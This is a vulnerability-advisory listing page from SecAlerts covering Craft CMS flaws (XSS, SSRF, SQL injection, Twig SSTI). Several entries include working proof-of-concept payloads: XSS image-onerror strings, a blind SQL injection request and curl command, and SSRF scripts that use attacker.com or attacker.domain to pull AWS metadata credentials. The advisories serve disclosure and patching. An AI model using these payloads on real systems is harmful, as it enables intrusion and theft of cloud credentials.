-Infinity
0

Vendor Risk Score

See how craft compares to other vendors in security performance

View Risk Score →
Severity
7.4
XSS, CSRF
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

An attacker with only a GitHub account can plant a JavaScript payload in a craftcms/cms issue title. When a Craft admin uses the CraftSupport widget’s "Give feedback" screen and types a search term that returns the poisoned issue, the payload executes in the admin’s control panel session.

No control panel account or elevated privileges are required on the attacker’s side.

Preconditions

- Attacker has a GitHub account (no control panel access needed). - Victim is an administrator, and you have the CraftSupport widget on the dashboard. - Victim uses the "Give feedback" screen and types a search term that returns the poisoned issue.

Root cause

CraftSupportWidget.js lines 382-392:

js $('<a>', { href: this.getSearchResultUrl(results[i]), target: 'blank', html: '<span class="status ' + this.getSearchResultStatus(results[i]) + '"></span>' + this.getSearchResultText(results[i]), })

FeedbackScreen.getSearchResultText (line 669-671) returns result.title verbatim from the GitHub API response. The jQuery html: option sets the element’s innerHTML, so a title containing <img src=x onerror=...> executes immediately on render.

The GitHub API returns issue titles as raw JSON strings with no HTML encoding. The widget makes this request directly from the browser, without a Craft proxy or any sanitization step.

HelpScreen (Stack Exchange) is not affected because the Stack Exchange API HTML-encodes titles before returning them.

Steps to reproduce

Plant (attacker, GitHub account only):

1. Open https://github.com/craftcms/cms/issues/new. 2. Set the title to a string combining a plausible search term and the payload, e.g.:

<img src=x onerror=alert(document.domain)> cannot upload files

3. Submit the issue.

Trigger (victim, Craft admin):

1. Open the Craft control panel dashboard. 2. Open the CraftSupport widget, click "Give feedback". 3. Type cannot upload files in the search box. 4. alert(document.domain) fires in the admin's session.

Impact

XSS in the admin control panel session. The payload has access to Craft.csrfTokenName and Craft.csrfTokenValue and can send same-origin action requests as the admin without any further interaction.

Mitigating factors

- Victim must actively use the "Give feedback" search screen. - Attacker must predict or social-engineer a search term the admin will type, or use a broad term likely to match. - Widget is only available to admins.

Resources

https://github.com/craftcms/cms/commit/6bbb66038a268552180ca5c8eed9f46ea25a4417

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Craft CMS contains an external control of assumed-immutable web parameter vulnerability. This vulnerability could allow an unauthenticated client to introduce arbitrary values, such as PHP code, to a known local file location on the server. This vulnerability could be chained with CVE-2024-58136 as represented by CVE-2025-32432.

1 / 3
Source: CISA
First published (updated )
Severity
8.1
EPSS
0.04%
Code Injection
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H

Impact

This is an RCE vulnerability that affects Craft 4 and 5 installs where your security key has already been compromised.

https://craftcms.com/knowledge-base/securing-craft#keep-your-secrets-secret

Anyone running an unpatched version of Craft with a compromised security key is affected.

Patches

This has been patched in Craft 5.5.8 and 4.13.8.

Workarounds

If you can't update to a patched version, then rotating your security key and ensuring its privacy will help to migitgate the issue.

References

https://github.com/craftcms/cms/commit/e59e22b30c9dd39e5e2c7fe02c147bcbd004e603

1 / 3
Source: GitHub
First published (updated )
Severity
6.9
EPSS
0.05%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Craft is a content management system (CMS). Prior to 5.9.0-beta.2 and 4.17.0-beta.2, the actionSendActivationEmail() endpoint is accessible to unauthenticated users and does not require a permission check for pending users. An attacker with no prior access can trigger activation emails for any pending user account by knowing or guessing the user ID. If the attacker controls the target user’s email address, they can activate the account and gain access to the system. This vulnerability is fixed in 5.9.0-beta.2 and 4.17.0-beta.2.

1 / 2
Source: MITRE
First published (updated )
Severity
6.5
EPSS
0.03%
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Craft is a content management system (CMS). In versions 4.5.0-RC1 through 4.16.18 and 5.0.0-RC1 through 5.8.22, the SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437. Exploitation requires GraphQL schema permissions for editing assets in the <VolumeName> volume and creating assets in the <VolumeName> volume. These permissions may be granted to authenticated users with appropriate GraphQL schema access and/or Public Schema (if misconfigured with write permissions). Versions 4.16.19 and 5.8.23 patch the issue.

1 / 2
Source: MITRE
First published (updated )
Severity
4.8
EPSS
0.01%
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Stored XSS via Entry Type names. The name is not sanitized when displayed in the Entry Types list.

--- Proof of Concept

Required Permissions (Attacker)

- Admin access (only admins have access to the settings page) - allowAdminChanges is enabled in production, which is against our security recommendations.

Steps to Reproduce 1. Log in as an attacker. 2. Go to Settings -> Entry Types (/admin/settings/entry-types). 3. Create a new Entry Type. 4. Set Name to: html <img src=x onerror="alert('XSS-EntryTypes')" hidden> 5. Save the Entry Type, and you’ll be redirected back to the entry types table automatically. 6. Notice the alert fires when the entry types table renders.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
EPSS
0.01%
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.

--- Proof of Concept 1. Host a redirect script on your server (e.g. redirect.php): php <?php header("Location: http://169.254.169.254/latest/meta-data/"); ?> 2. Send the following GraphQL mutation: graphql mutation { saveimagesAsset(file: { url: "https://attacker.com/redirect.php" filename: "metadata.txt" }) { id } } 3. The application validates attacker.com (passes) 4. Guzzle follows the redirect to 169.254.169.254 5. Cloud metadata is saved as an asset

--- Mitigation - Disable redirects.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.01%
SQL Injection, CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query. An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload).

[!NOTE] The ORDER BY clause executes per row. SLEEP(1) on 10 rows = 10s delay.

--- PoC Required Permissions

- Access to the Control Panel

Steps to reproduce 1. Log in to the control panel 2. Navigate to any element index (e.g., Users /admin/users, Entries, Assets, etc.) 3. Intercept the POST request to /index.php?p=admin/actions/element-indexes/get-elements 4. Modify the JSON body to the following: json {"context":"index","elementType":"craft\\elements\\User","source":"","baseCriteria":{"siteId":1},"criteria":{"limit":100,"orderBy": "(elements.id) DESC, (SELECT SLEEP(5)) --"},"viewState":{"static":false}} 5. Send the request 6. Observe a delay in the response (delay = rows × sleep time)

Alternatively, you can use the following curl (bash syntax) command (replace cookie, CSRF token, and target domain as needed): bash curl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(0.2)) --\"},\"viewState\":{\"static\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'

Impact

With this Blind SQLi, an attacker can: - Exfiltrate data character-by-character. - Modify or destroy data (drop tables, update records, alter schema).

Root Cause The orderBy parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., (elements.id)) bypasses internal quoting mechanisms.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
EPSS
0.01%
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filtervar(..., FILTERVALIDATEIP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.

1 / 2
Source: MITRE
First published (updated )
Severity
6.5
EPSS
0.01%
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

- The saveimagesAsset graphql mutation allows a user to give a url of an image to download. (Url must use a domain, not a raw IP.) - Attacker sets up domain attacker.domain with an A record of something like 169.254.169.254 (special AWS metadata IP) - Attacker invokes saveimagesAsset with url: http://attacker.domain/latest/meta-data/iam/security-credentials and filename "foo.txt" - Craft fetches sensitive information on attacker's behalf, and makes it available for download at /assets/images/foo.txt - Normal checks to verify that image is valid are bypassed because of .txt extension - Normal checks to verify that url is not an IP address are bypassed because user provided a valid domain that resolves to a sensitive internal IP address

Details

handleUpload() in src/gql/resolvers/mutations/Assets.php contains the code that processes the saveimagesAsset mutation.

It has some basic validation logic for the url parameter (source of the image) and filename parameter (what to save image as):

} elseif (!empty($fileInformation['url'])) { $url = $fileInformation['url'];

// make sure the hostname is alphanumeric and not an IP address $hostname = parseurl($url, PHPURLHOST); if ( !filtervar($hostname, FILTERVALIDATEDOMAIN, FILTERFLAGHOSTNAME) || filtervar($hostname, FILTERVALIDATEIP) ) { throw new UserError("$url contains an invalid hostname."); }

if (empty($fileInformation['filename'])) { $filename = AssetsHelper::prepareAssetName(pathinfo(UrlHelper::stripQueryString($url), PATHINFOBASENAME)); } else { $filename = AssetsHelper::prepareAssetName($fileInformation['filename']); }

$extension = strtolower(pathinfo($filename, PATHINFOEXTENSION)); if (isarray($allowedExtensions) && !inarray($extension, $allowedExtensions, true)) { throw new AssetDisallowedExtensionException(Craft::t('app', "“{$extension}” is not an allowed file extension.")); }

The upshot of this validation is that url must contain a hostname, not an IP, and filename must contain an allowed extension. If the allowed extension is a typical image extension, further validation will be done downstream to verify that the downloaded content is in fact an image.

An authenticated attacker can trick this mutation into fetching sensitive AWS metadata, or other sensitive information from the craft instance's internal network.

- First, the attacker must register a domain -- e.g. attacker.domain. - Next, they must point their domain at the sensitive internal ip they'd like to access (e.g. 169.254.169.254) - Next, they make a request to saveimagesAsset with url set to http://attacker.domain/sensitive/path with filename set to "something.txt" - Finally the attacker makes a http request to retrieve /assets/images/something.txt, which contains sensitive information

PoC

Preconditions

- Graphql access must be enabled - Attacker must have access to a graphql token - Token must be configured to have access to saveimagesAsset mutation - Attacker must have configured a domain, "attacker.domain" pointing to the sensitive internal IP address they'd like to access - .txt must be an allowed extension for uploads via saveimagesAsset (as it is by default)

Code

import requests

Replace GRAPHQLENDPOINT and BEARERTOKEN per target. GRAPHQLENDPOINT = 'http://localhost:8080/actions/graphql/api' TOKEN = '<TOKEN HERE>'

mutation = ''' mutation SaveAsset($file: FileInput!, $title: String, $focalPoint: String) { saveimagesAsset(file: $file, title: $title, focalPoint: $focalPoint) { id title url filename focalPoint dateCreated } } '''

variables = { 'file': { 'url' : "http://attacker.domain/latest/meta-data/iam/security-credentials", 'filename': 'foo.txt'

}, "title": "my photo", "focalPoint": "0.5;0.5"

}

resp = requests.post(GRAPHQLENDPOINT, json={'query': mutation, 'variables': variables}, headers={'Authorization': f'Bearer {TOKEN}'}) print(resp.statuscode, resp.text)

If attack is successful, response to running this script will be something like:

200 {"data":{"saveimagesAsset":{"id":"211403","title":"my photo","url":"http://localhost:8080/assets/volumes/images/foo.txt","filename":"foo.txt","focalPoint":null,"dateCreated":"2025-12-18T09:45:24-08:00"}}}

Attacker can then download sensitive data by fetching http://localhost:8080/assets/volumes/images/foo.txt

Impact

Impacted users must:

- Have graphql enabled - Have a graphql token created with permissions to use saveimagesAsset - Have graphql token stolen by attacker or abused by malicious insider

Impact is heightened if:

- craft is running on something like an AWS EC2 instance, which has a well-known, sensitive internal http address that can be accessed to fetch metadata.

Ultimate result is:

Attacker or malicious insider gets access to infrastructure craft is running on, not just craft itself.

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
EPSS
0.42%
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Craft CMS contains a potential remote code execution vulnerability via Twig SSTI. You must have administrator access and ALLOWADMINCHANGES must be enabled for this to work.

https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production

Note: This is a follow-up to https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv

Users should update to the patched versions (4.14.13 and 5.6.15) to mitigate the issue.

References https://github.com/craftcms/cms/pull/17026

1 / 2
Source: GitHub
First published (updated )
Severity
7.2
Path Traversal, Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Craft is a platform for creating digital experiences. From versions 4.0.0-RC1 to 4.16.5 and 5.0.0-RC1 to 5.8.6, there is a potential remote code execution vulnerability via Twig SSTI (Server-Side Template Injection). This is a follow-up to CVE-2024-52293. This vulnerability has been patched in versions 4.16.6 and 5.8.7.

1 / 2
Source: MITRE
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203